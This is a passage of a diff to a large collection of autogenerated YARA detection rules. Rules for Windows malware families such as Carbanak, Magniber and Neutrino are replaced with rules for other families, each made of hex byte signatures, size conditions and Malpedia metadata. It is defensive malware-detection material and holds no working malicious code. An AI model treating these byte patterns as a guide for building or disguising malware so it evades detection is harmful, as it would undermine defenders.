488b83e8140000 488d15a7f2ffff 41b82f000000 488901 488b83f0140000 } + $sequence_2 = { 56 e8???????? 59 8945d4 85c0 0f84f5000000 6a00 } + $sequence_3 = { 66898d56ffffff 59 6689855cffffff 66898d58ffffff 8bc8 33c0 } + $sequence_4 = { 74ea 3918 7467 8b85f4feffff } + $sequence_5 = { 7cd5 41c60300 4863c2 4c2bd8 4c891e } + $sequence_6 = { 4c8d4c2440 458bc4 488bd0 488bcd } + $sequence_7 = { 66898572ffffff 66898d68ffffff 59 6a73 66898d6affffff 8bc8 58 } + $sequence_8 = { 488d0dacc9ffff 41b808020000 ff15???????? 4c8d5c2478 488d8424b0000000 } + $sequence_9 = { 8d43f5 66898c2400010000 66898424fe000000 8d43f6 6689942408010000 } + $sequence_10 = { ffd0 8d4584 50 6802000080 } + $sequence_11 = { 41bc00200000 498bd4 488d8c2450050000 e8???????? 33c0 488bcb } + $sequence_12 = { 8985b8fcffff 8b859cfcffff 0fb74002 83c40c 50 c785b4fcffff06000000 ff15???????? } + $sequence_13 = { 83fe1a 0f8c77ffffff 488d4c2450 ff15???????? 8b542460 8b442458 } + $sequence_14 = { 6806020000 50 668985f4fdffff 8d85f6fdffff 50 e8???????? 8bc7 } condition: - 7 of them and filesize < 475136 + 7 of them and filesize < 139264 } -rule MALPEDIA_Win_Crutch_Auto : FILE +rule MALPEDIA_Win_Mortalkombat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3e20e20b-31c5-5834-8ab6-1f56ddff6199" + id = "2926ed70-9658-5024-99d2-e9010cd78f8a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crutch" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crutch_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mortalkombat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mortalkombat_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "f4a23c9ddcadc5cf9e865fc280dcc92eecf1924dce5c0d12173bb5cf5ba3e418" + logic_hash = "6719ab7cb4e15bf8e439d94e5987475ec5045761b54a9759e4f94419dacc6908" score = 75 quality = 75 tags = "FILE" @@ -94230,32 +94381,32 @@ rule MALPEDIA_Win_Crutch_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b5608 50 52 e8???????? 50 68???????? 56 } - $sequence_1 = { c7861840000001000000 e8???????? 83c40c eb55 8b8608400000 68???????? 68???????? } - $sequence_2 = { 771d 0fb68938370210 ff248d30370210 8b148500810610 52 68???????? eb19 } - $sequence_3 = { 762d 8b4c2444 390f 7560 8bd1 56 52 } - $sequence_4 = { 51 e8???????? 83c404 85c0 740d c744245c2a000000 e9???????? } - $sequence_5 = { 33cc e8???????? 81c4a8090000 c3 663b742414 763a 8b4c2410 } - $sequence_6 = { 8b442428 8b742420 8b38 81c630050000 e8???????? 5f 5e } - $sequence_7 = { ff7580 e8???????? 83c404 6a01 6a2f 53 e8???????? } - $sequence_8 = { e9???????? 8b44240c 68???????? 50 e8???????? 83c408 e9???????? } - $sequence_9 = { 52 e8???????? 8bf0 83c408 85f6 750f 5e } + $sequence_0 = { 8d85e8feffff 50 68???????? e8???????? 85c0 0f849c020000 8d85e8feffff } + $sequence_1 = { c745e800000000 8d45d0 50 e8???????? c745b02c010000 c745ac69000000 } + $sequence_2 = { 7516 6a10 68???????? 68???????? ff7508 e8???????? } + $sequence_3 = { 7401 41 8b35???????? 8bfe 33d2 83fa10 7502 } + $sequence_4 = { 68???????? e8???????? 68???????? 6800020000 e8???????? } + $sequence_5 = { 33ce 033d???????? 33cf 03d1 81c3b979379e 8bca } + $sequence_6 = { 6a00 e8???????? ff0d???????? 6801010000 } + $sequence_7 = { 751e 68???????? 68???????? e8???????? 68???????? e8???????? c60000 } + $sequence_8 = { 837d0c01 0f85a6010000 833d????????00 7506 ff0d???????? 68???????? 68???????? } + $sequence_9 = { 0fb605???????? 83f801 7511 68???????? 68???????? } condition: - 7 of them and filesize < 1067008 + 7 of them and filesize < 1224704 } -rule MALPEDIA_Win_Magniber_Auto : FILE +rule MALPEDIA_Win_Cherry_Picker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2010ff15-6b80-529a-a5cd-f6820259a96c" + id = "a7caa2a0-b6b8-580c-adee-e174a6220843" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.magniber_auto.yar#L1-L174" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cherry_picker_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "40cc2b100a2166758d1bade12df1107c6219e6f30fc93c01403c3eb3fe63bfd1" + logic_hash = "576fc4aca504b01489ce7bd7347bbe12054a63e779c96e3d35219ad0c56e8479" score = 75 quality = 75 tags = "FILE" @@ -94269,38 +94420,32 @@ rule MALPEDIA_Win_Magniber_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c78514fdffff38994000 c78518fdffff40994000 c7851cfdffff48994000 c78520fdffff54994000 c78524fdffff60994000 c78528fdffff68994000 } - $sequence_1 = { 83c404 8945fc 837dfc00 0f84d7000000 68???????? 8b45fc } - $sequence_2 = { 8b45f8 8b8c8548ffffff 51 8b55f0 52 } - $sequence_3 = { 0f8462010000 8b55ec 52 ff15???????? 83f801 } - $sequence_4 = { c785fcfcffff08994000 c78500fdffff10994000 c78504fdffff18994000 c78508fdffff20994000 c7850cfdffff28994000 c78510fdffff30994000 } - $sequence_5 = { 7505 e9???????? 8b4df8 3b4df0 7307 } - $sequence_6 = { 6a00 6a03 6800000080 8b4d10 51 } - $sequence_7 = { 55 8bec 51 8b4508 83b86804000000 741b 8b4d08 } - $sequence_8 = { d331 4e4e54 70ac 52 f8 a6 } - $sequence_9 = { 097934 50 5e 5a 3558e9e633 } - $sequence_10 = { bb72657959 a1????????ba30f7a3 873428 de9d164df944 ee aa } - $sequence_11 = { 7f4c c82cd1c6 1a32 b636 } - $sequence_12 = { 21746c2e 4834b0 184026 e221 a1????????05eef081 e0f8 } - $sequence_13 = { 4baa 055457541d e9???????? bc12819787 bbdd81d473 ba2326dc05 645f } - $sequence_14 = { 32cb 5a b3b1 3e6c 21746c2e 4834b0 184026 } - $sequence_15 = { 283d98b7a0e5 7f9b 0b733e fd 6acb 199335632362 } + $sequence_0 = { ffd3 68???????? 56 8944242c ffd3 68???????? } + $sequence_1 = { 8d442428 50 ff542420 8b442420 } + $sequence_2 = { 8bf0 8bd1 83c408 2bf2 8a11 88140e 41 } + $sequence_3 = { 68???????? 68???????? a3???????? ffd6 69c0e8030000 } + $sequence_4 = { ff15???????? a3???????? 85c0 7512 68???????? 50 } + $sequence_5 = { a3???????? ffd6 68???????? 6a3c } + $sequence_6 = { 8bf0 0fbec9 81e6ff000000 33f1 8a4a01 42 c1f808 } + $sequence_7 = { 68e8030000 68???????? 68???????? a3???????? } + $sequence_8 = { 68???????? 68e8030000 68???????? 68???????? a3???????? } + $sequence_9 = { 68???????? 56 8944242c ffd3 68???????? } condition: - 7 of them and filesize < 117760 + 7 of them and filesize < 712704 } -rule MALPEDIA_Win_Anel_Auto : FILE +rule MALPEDIA_Win_Graphical_Neutrino_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6aaa2dab-4b34-505d-ab57-a83be80c60ae" + id = "b8be2926-4142-5b9c-963d-8827c1d257eb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anel" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.anel_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphical_neutrino" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphical_neutrino_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "bf88932655884d72c230c9a3ca2d9886c485937f46465847549f25d9f3a65ea5" + logic_hash = "738cd6fc4267dd6a5687776cc638194fdfe1e78d0e84383b17d6f440ed210297" score = 75 quality = 75 tags = "FILE" @@ -94314,32 +94459,32 @@ rule MALPEDIA_Win_Anel_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ebc4 395dc4 7515 8b4594 83c0c8 50 8d4580 } - $sequence_1 = { 83781410 897810 7202 8b00 c60000 39bb3c020000 } - $sequence_2 = { 7403 33db 43 899fd4010000 6a01 33ff 8d750c } - $sequence_3 = { 53 8d45c4 33ff 50 895dfc 47 6802000080 } - $sequence_4 = { 7477 03fe 57 8d857cffffff 50 53 e8???????? } - $sequence_5 = { 68???????? 50 e8???????? 83c410 8d45d0 50 e8???????? } - $sequence_6 = { 6a00 8bd0 8d8c24b0000000 c684245c01000005 e8???????? 53 33ff } - $sequence_7 = { 837f1410 7202 8b3f 8d442450 50 57 e8???????? } - $sequence_8 = { 8d7dd0 a5 a5 a5 a5 8b75f0 8bfb } - $sequence_9 = { 837f1410 7204 8b07 eb02 8bc7 8d3418 56 } + $sequence_0 = { 57 56 53 498b18 458b5808 } + $sequence_1 = { e8???????? 4c89e1 4c89f2 4c8d4010 } + $sequence_2 = { 8b6c242c 48637c2428 8d743d00 39f7 7f2b 83fe0f } + $sequence_3 = { 83c030 83c230 8806 488d4602 885601 } + $sequence_4 = { 488d8424d8020000 4c8dbc24c8020000 48898424c8020000 488d442460 } + $sequence_5 = { 488b742470 4c8b7c2450 8a05???????? 84c0 } + $sequence_6 = { 7518 488b5108 48c1e004 480302 } + $sequence_7 = { 4863ee 4d89e0 488d4c2b02 e8???????? 488d5302 b030 89f1 } + $sequence_8 = { 4c8b4c2438 eb26 4584f6 750e 488b17 428a1422 88541d5a } + $sequence_9 = { 4885d2 0f840d020000 8a02 ffc8 3c01 0f8701020000 } condition: - 7 of them and filesize < 376832 + 7 of them and filesize < 674816 } -rule MALPEDIA_Win_Woolger_Auto : FILE +rule MALPEDIA_Win_Geminiduke_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "69dafade-30c5-5734-830c-150b438e6d59" + id = "ba57e2c8-93bd-55ac-a9e9-1b7d9180b057" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.woolger_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.geminiduke" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.geminiduke_auto.yar#L1-L149" license_url = "N/A" - logic_hash = "a68ced9b21a66c947cc315eb8f76a9ad3604356e88ce1c4ffa9af9c48a2ada10" + logic_hash = "19a3524ebf5f0547a75168cd2fc0d4ded0d15d189661f967133afc45a2ebe1fb" score = 75 quality = 75 tags = "FILE" @@ -94353,32 +94498,36 @@ rule MALPEDIA_Win_Woolger_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 46 8b5510 52 6a00 ff15???????? } - $sequence_1 = { ff15???????? 6800040000 8bf0 e8???????? 83c404 } - $sequence_2 = { 0f84e6000000 3da5000000 0f84db000000 83f85b 0f84cb000000 } - $sequence_3 = { 8b07 83f808 750a be???????? e9???????? } - $sequence_4 = { e9???????? 83f80d 750a be???????? e9???????? 83f814 } - $sequence_5 = { 750a be???????? e9???????? 83f828 750a be???????? } - $sequence_6 = { 0f848e000000 56 57 b980000000 8db5fcfdffff bf???????? } - $sequence_7 = { 57 0fb7d6 6a02 52 ff15???????? } - $sequence_8 = { be???????? e9???????? 83f809 750a be???????? e9???????? 83f80a } - $sequence_9 = { 83f828 750a be???????? e9???????? 83f82c 750a be???????? } + $sequence_0 = { e8???????? 83c404 50 6801000080 ff15???????? 85c0 7407 } + $sequence_1 = { 8b7c2410 8b442414 8b4c2418 f3aa 5f 59 } + $sequence_2 = { 52 6819000200 6a00 68???????? e8???????? 83c404 50 } + $sequence_3 = { 50 51 57 8b7c2410 } + $sequence_4 = { 034590 03c8 894dd0 8b45f8 } + $sequence_5 = { 034584 8b8d64ffffff c1e907 8b9564ffffff c1e219 0bca 8b9564ffffff } + $sequence_6 = { 034590 8b8d70ffffff c1e907 8b9570ffffff } + $sequence_7 = { 03459c 03c8 894ddc 8b45fc } + $sequence_8 = { 33d2 f7f3 668907 8bc2 } + $sequence_9 = { 83c1d8 e9???????? 53 56 57 32db } + $sequence_10 = { 80f909 7704 8ac1 0430 } + $sequence_11 = { 8a6834 0fb65036 8a4835 c1e108 0bca 0fb65037 } + $sequence_12 = { 8ad1 80ea0a 80fa05 7705 } + $sequence_13 = { 66894704 8bc2 c1e010 668b4602 33d2 f7f3 } condition: - 7 of them and filesize < 196608 + 7 of them and filesize < 327680 } -rule MALPEDIA_Win_Yarat_Auto : FILE +rule MALPEDIA_Win_Eyservice_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c5e6c743-0bb4-5ded-85f6-7e273a746dba" + id = "01143abf-4326-5001-b471-74ce2f23b942" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yarat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yarat_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eyservice" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.eyservice_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "9bcd9db0a35387b5ff289ffde342821469357bc27585eec725313cf57fac8b79" + logic_hash = "cec2c9ebe5b9e4768a39fd8dee155ccbac651c379b500243ead7740363768937" score = 75 quality = 75 tags = "FILE" @@ -94392,32 +94541,32 @@ rule MALPEDIA_Win_Yarat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b07 51 03f0 52 56 e8???????? 8b8564feffff } - $sequence_1 = { 8b7d08 33f6 33db 85ff 7439 8bf7 8d4e01 } - $sequence_2 = { c1ca03 663bf5 84eb 81f21b6f5a16 f7da f5 81fede018b2e } - $sequence_3 = { 8b3f 85ff 75d7 837c241c00 8b3d???????? 754f 6804010000 } - $sequence_4 = { f5 81c702000000 6685f1 0fadc2 f6d0 0f42c5 0fc8 } - $sequence_5 = { b90a000000 5f 5e 89889c0a0000 8bc3 5b 8be5 } - $sequence_6 = { e8???????? 83c408 eb02 33c0 898388050000 80be3e10000000 8945f8 } - $sequence_7 = { 8bec 8b4d08 85c9 7413 8b8148050000 8b4024 85c0 } - $sequence_8 = { e8???????? 8bc6 83c418 0b45e8 0f858d000000 eb78 6a02 } - $sequence_9 = { 869d56f9247d 9e 2490 7f7c ec 96 ac } + $sequence_0 = { e8???????? 8d4c2408 8bf0 c7842460080000ffffffff e8???????? } + $sequence_1 = { 0f85e5000000 c70600000000 c70702000000 e9???????? 83f85a 0f85cb000000 } + $sequence_2 = { 83bef800000000 747c 8d4c2408 e8???????? a1???????? 8d4c2408 51 } + $sequence_3 = { 50 b9???????? c7442454ffffffff e8???????? 46 3bf7 } + $sequence_4 = { 56 8bc8 e8???????? eb02 33c0 89442410 8d442410 } + $sequence_5 = { 5f 5e 59 c21000 53 8bfb 53 } + $sequence_6 = { 83c404 894de8 c645fc01 3bce 7417 e8???????? 8b4df4 } + $sequence_7 = { ffd3 8d442434 68???????? 50 ff15???????? 68???????? 8d8c2444010000 } + $sequence_8 = { 888654720000 66099652720000 3c08 76bc 0fb78652720000 808654720000f8 0fb7c8 } + $sequence_9 = { 894e0c 8b5010 895610 8b4814 894e14 8b5018 895618 } condition: - 7 of them and filesize < 8692736 + 7 of them and filesize < 452608 } -rule MALPEDIA_Win_Beepservice_Auto : FILE +rule MALPEDIA_Win_Simplefilemover_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c4c53131-cb7f-5347-a9b9-cf736a2ce9c3" + id = "01e3a38c-ca1c-54f8-8b63-a6fb5042b331" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beepservice" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.beepservice_auto.yar#L1-L282" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.simplefilemover" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.simplefilemover_auto.yar#L1-L220" license_url = "N/A" - logic_hash = "689010a7eaeffaf34a3ec3394a2430b997d2d5b1ebae027e3c89a6f3e221798c" + logic_hash = "127d7e5e1cb1879a98229e20253c6e3598e5576a92a3becd73c38551f6d4a8f9" score = 75 quality = 73 tags = "FILE" @@ -94431,51 +94580,44 @@ rule MALPEDIA_Win_Beepservice_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b0d???????? 68???????? ffd6 8bc8 } - $sequence_1 = { ffd6 8bc8 ff15???????? 50 ff15???????? } - $sequence_2 = { 683f000f00 6a00 68???????? ff15???????? } - $sequence_3 = { e8???????? 83f801 7505 e8???????? 68???????? 68???????? } - $sequence_4 = { 7512 6888130000 68???????? e8???????? 83c408 } - $sequence_5 = { 83c408 e9???????? 68???????? e8???????? 83c404 6a00 6a00 } - $sequence_6 = { 8d85fcfdffff 56 56 6a02 56 56 } - $sequence_7 = { 6a20 57 bf???????? 57 } - $sequence_8 = { 68???????? e8???????? ff7608 e8???????? 83c40c } - $sequence_9 = { ff7614 e8???????? 50 ff7614 57 e8???????? 83c42c } - $sequence_10 = { 6a02 50 55 e8???????? ff7610 e8???????? 50 } - $sequence_11 = { e8???????? 83c444 8d442410 6a02 } - $sequence_12 = { 85f6 7403 56 ffd7 53 ffd7 5f } - $sequence_13 = { b90a000000 a3???????? bf???????? a3???????? } - $sequence_14 = { 8b5c240c 8b3d???????? 85f6 7403 } - $sequence_15 = { 741e 45 83fd0a 7ce0 eb23 ff15???????? } - $sequence_16 = { ffd7 8d442414 50 56 } - $sequence_17 = { c785f8fdffff00240000 6a00 8d95f4fdffff 52 8b85f8fdffff 50 } - $sequence_18 = { 83f81e 720a b801000000 e9???????? 8b450c 8b480c } - $sequence_19 = { 8b85f8fdffff 50 68???????? 8b8dfcfdffff 51 ff15???????? } - $sequence_20 = { 8b5108 52 68???????? e8???????? 83c40c 6a02 } - $sequence_21 = { 50 e8???????? 83c404 c3 6a00 6a00 } - $sequence_22 = { a1???????? 85c0 746b a1???????? 85c0 7562 } - $sequence_23 = { 48 83f804 0f8795000000 ff248548144000 6888130000 6a01 6a00 } - $sequence_24 = { 85c9 668935???????? 7e15 b299 8a9874304000 32da } - $sequence_25 = { 83c414 e8???????? 6a00 6a00 b907000000 6a00 } - $sequence_26 = { 57 33f6 8975d8 8975e0 8975e4 8975dc 8975fc } - $sequence_27 = { 83c404 c3 8b0d???????? 6aff 51 } - $sequence_28 = { 6a03 e8???????? 83c414 e9???????? a1???????? } + $sequence_0 = { 8bfc f3a5 e8???????? 81c420020000 } + $sequence_1 = { 7d07 33c0 e9???????? 6820020000 ff15???????? } + $sequence_2 = { e8???????? 81c420020000 85c0 7407 68???????? eb05 68???????? } + $sequence_3 = { b988000000 8bf3 8bfc f3a5 } + $sequence_4 = { 57 668b01 33f6 33db 33ff } + $sequence_5 = { 750f c78508daffff00000000 e9???????? 6a04 8d8d54daffff } + $sequence_6 = { 3bc3 0f8ec7020000 0145ec 397dec 7416 8b45ec } + $sequence_7 = { 7433 8bcb 663d5c00 7503 } + $sequence_8 = { 56 8b74241c 57 8a8800010000 8a9001010000 33ff 884c2408 } + $sequence_9 = { 8b742424 53 81e1ff000000 55 81e6ff000000 } + $sequence_10 = { 3bfb 0f8c54ffffff 8a4c242c 5d 5b 5f } + $sequence_11 = { 895df4 eb03 8b7df0 8d4601 be00010000 99 } + $sequence_12 = { 8b7c2418 8b5c2428 47 897c2418 0fbfff 3bfb 0f8c54ffffff } + $sequence_13 = { 8b7c2424 b940000000 f3a5 83c40c } + $sequence_14 = { e8???????? 83c410 e9???????? 83bd24daffff00 7e0c c78508daffff00000000 } + $sequence_15 = { 83c102 42 6685c0 75ea 85f6 7417 8b4c2414 } + $sequence_16 = { 0f8eda000000 8b4c2408 8b742424 53 } + $sequence_17 = { ebca ebc8 ebc6 ebc4 ebc2 } + $sequence_18 = { 50 8d85b0ddffff 50 e8???????? 8b45f4 03c0 } + $sequence_19 = { 6a00 6a00 6a04 6a00 6a02 6800000040 8d85f8fdffff } + $sequence_20 = { 50 ff15???????? 898510daffff 6a00 } + $sequence_21 = { 51 8b9554faffff 52 ff15???????? 898508daffff 83bd08daffffff } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Gratem_Auto : FILE +rule MALPEDIA_Win_Fakerean_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ab5cab4a-386c-5ff0-b7ae-5f5f77749cf9" + id = "9b6d4199-0c17-5326-ad0f-5be4f4e0c769" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gratem_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fakerean_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "faae71a2a37b93e3d77306cf98fe40a8f8f60859a11449c5f85889b06fd54fb4" + logic_hash = "697015d76e682efb24cb879c686000a5c02640696936de86fa6c90584950d55f" score = 75 quality = 75 tags = "FILE" @@ -94489,34 +94631,34 @@ rule MALPEDIA_Win_Gratem_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 55 8bec 8b4508 56 8d34c5c0b84000 833e00 7513 } - $sequence_1 = { c6040400 8d1424 52 ff15???????? 8b8c2408010000 33cc } - $sequence_2 = { 8945fc 85c0 742f 8b0e 8b5710 51 52 } - $sequence_3 = { 0fb7048d64bc4000 41 6685c0 75e4 32c0 88460f c3 } - $sequence_4 = { ff15???????? 8945fc 85c0 742f 8b0e } - $sequence_5 = { 0fb6c0 eb12 8b45e0 8a803cb44000 08443b1d } - $sequence_6 = { 663bc2 0f84e6020000 0fb7048d64bc4000 41 6685c0 } - $sequence_7 = { 0fb7c0 baa3170000 663bc2 0f84e6020000 0fb7048d64bc4000 41 6685c0 } - $sequence_8 = { 0f84de030000 0fb7048d64bc4000 41 6685c0 75e4 } - $sequence_9 = { 0f8469010000 0fb7048d64bc4000 41 6685c0 75e4 } + $sequence_0 = { ff7508 898348030000 ff15???????? 5f 5e 5b c9 } + $sequence_1 = { 50 e8???????? 83c40c 8b4640 2b4638 85c0 7f1c } + $sequence_2 = { ff15???????? a1???????? 8b08 6a01 ff35???????? 50 ff5128 } + $sequence_3 = { 8845f8 84c9 7419 8b4508 0345fc 0fb6d9 } + $sequence_4 = { 8d45f0 50 ff7608 ff15???????? 83f801 743e 83f802 } + $sequence_5 = { e8???????? 83c428 8935???????? 5f 5e c9 c3 } + $sequence_6 = { 8b45f0 eb03 8b45ec 8945f8 eb1d 8b45fc ebf6 } + $sequence_7 = { 8bc2 ab ab ab ab 6a08 59 } + $sequence_8 = { c6450f30 eb0f 83fe01 0f95c0 fec8 2420 0441 } + $sequence_9 = { f7fb 83c230 668911 03cf 397d0c 7512 85c0 } condition: - 7 of them and filesize < 155648 + 7 of them and filesize < 4071424 } -rule MALPEDIA_Win_Carbanak_Auto : FILE +rule MALPEDIA_Win_Neutrino_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "aedde496-1e00-538c-b489-6c77c5599b0a" + id = "90362f91-7989-59b7-8491-41ee08cb7ec9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.carbanak_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neutrino_auto.yar#L1-L311" license_url = "N/A" - logic_hash = "0f833e010e6f92f115d02deffe6d957025aee9eed313be7bf6c5b84cdc07ff91" - score = 75 - quality = 75 + logic_hash = "a2300db6491e65a144d0716ad0d9afc9f3b5ec715da52155c4f75ceb78588a52" + score = 60 + quality = 43 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -94528,32 +94670,54 @@ rule MALPEDIA_Win_Carbanak_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7c0d e8???????? 84c0 7504 33c0 } - $sequence_1 = { 7907 32c0 e9???????? 7507 } - $sequence_2 = { 85c0 7509 e8???????? b001 } - $sequence_3 = { e9???????? 7507 b001 e9???????? } - $sequence_4 = { e9???????? 3d2c5c0700 750a e8???????? e9???????? } - $sequence_5 = { 488d4dc8 4183c8ff 488bd0 488bd8 e8???????? 488bcb } - $sequence_6 = { 41ffc1 ba23000000 48895c2428 48895c2420 e8???????? } - $sequence_7 = { ff75fc 8ad8 e8???????? 83c414 84db 7511 } - $sequence_8 = { 6aff 68???????? 6a01 8d4dec 51 } - $sequence_9 = { 50 50 ff7510 ff750c 50 ff7508 } + $sequence_0 = { ff15???????? c1e010 50 ff15???????? } + $sequence_1 = { 50 6a0b 6a07 e8???????? } + $sequence_2 = { 50 6a05 6a03 e8???????? } + $sequence_3 = { 0404 010404 0202 020402 } + $sequence_4 = { 50 6a00 6a00 ff15???????? 8b4dd8 } + $sequence_5 = { 010404 0202 020402 0404 0404 0404 } + $sequence_6 = { 8b4d0c 894dfc 8b55f4 0fbe02 85c0 7447 8b4df4 } + $sequence_7 = { e9???????? 6a01 ff15???????? 85c0 } + $sequence_8 = { 83c404 0fb6d0 83fa01 7531 8b45fc 83c001 8945fc } + $sequence_9 = { 51 8b5508 52 ff15???????? 83f8ff 7504 32c0 } + $sequence_10 = { 83c201 8955f4 ebaf 8b45f4 a3???????? 8b45f8 2b45f4 } + $sequence_11 = { 894d08 0fb6550c 83fa01 7509 8b4508 83c001 894508 } + $sequence_12 = { 6a00 ff15???????? 6880000000 ff15???????? } + $sequence_13 = { 0fbe02 8b4df8 0fbe11 3bc2 740b 8b45fc 83c001 } + $sequence_14 = { 8b55fc 0fbe02 85c0 750f 8b4d0c 894dfc 8b55f4 } + $sequence_15 = { 0f8440feffff 80fa05 7354 8b3b 0fb6f2 6a05 } + $sequence_16 = { f645fe20 740d 814a1804010000 8a03 884210 43 8ac3 } + $sequence_17 = { 32c0 c645ff00 895dec c645fb00 f3aa c645f810 } + $sequence_18 = { 807dfd05 eb12 807dfd04 c645fc03 0f879a000000 807dfd01 } + $sequence_19 = { 0f879a000000 807dfd01 0f8597000000 e9???????? 2d8c000000 747e 48 } + $sequence_20 = { 8b03 894210 83c304 eb13 f645fe20 740d 814a1804010000 } + $sequence_21 = { c3 8b4804 890e ff4808 897004 751e } + $sequence_22 = { 83c404 85c0 0f95c2 0fb6c2 } + $sequence_23 = { 55 8bec 81ecf80f0000 837d0800 } + $sequence_24 = { 8d85b8feffff 50 68???????? ff15???????? 8945fc } + $sequence_25 = { 83c40c 6804010000 8d85f8fdffff 50 } + $sequence_26 = { ff750c ff7508 ff15???????? 83f8ff 0f95c0 } + $sequence_27 = { 7522 be???????? ff15???????? 57 8906 ff15???????? 83c604 } + $sequence_28 = { 7507 68???????? eb05 68???????? 50 ff510c } + $sequence_29 = { 50 ff15???????? 837dfc00 0f95c0 c9 c3 } + $sequence_30 = { 7412 68???????? 50 ff15???????? f7d8 1bc0 40 } + $sequence_31 = { 50 ff15???????? 6a40 ff75f0 } condition: - 7 of them and filesize < 658432 + 7 of them and filesize < 507904 } -rule MALPEDIA_Win_Highnote_Auto : FILE +rule MALPEDIA_Win_Ralord_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b0d28496-8673-59fb-b567-198b148df4f3" + id = "55aeafd0-036d-55da-b447-46a69b58ad1c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.highnote" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.highnote_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ralord" + source_url = 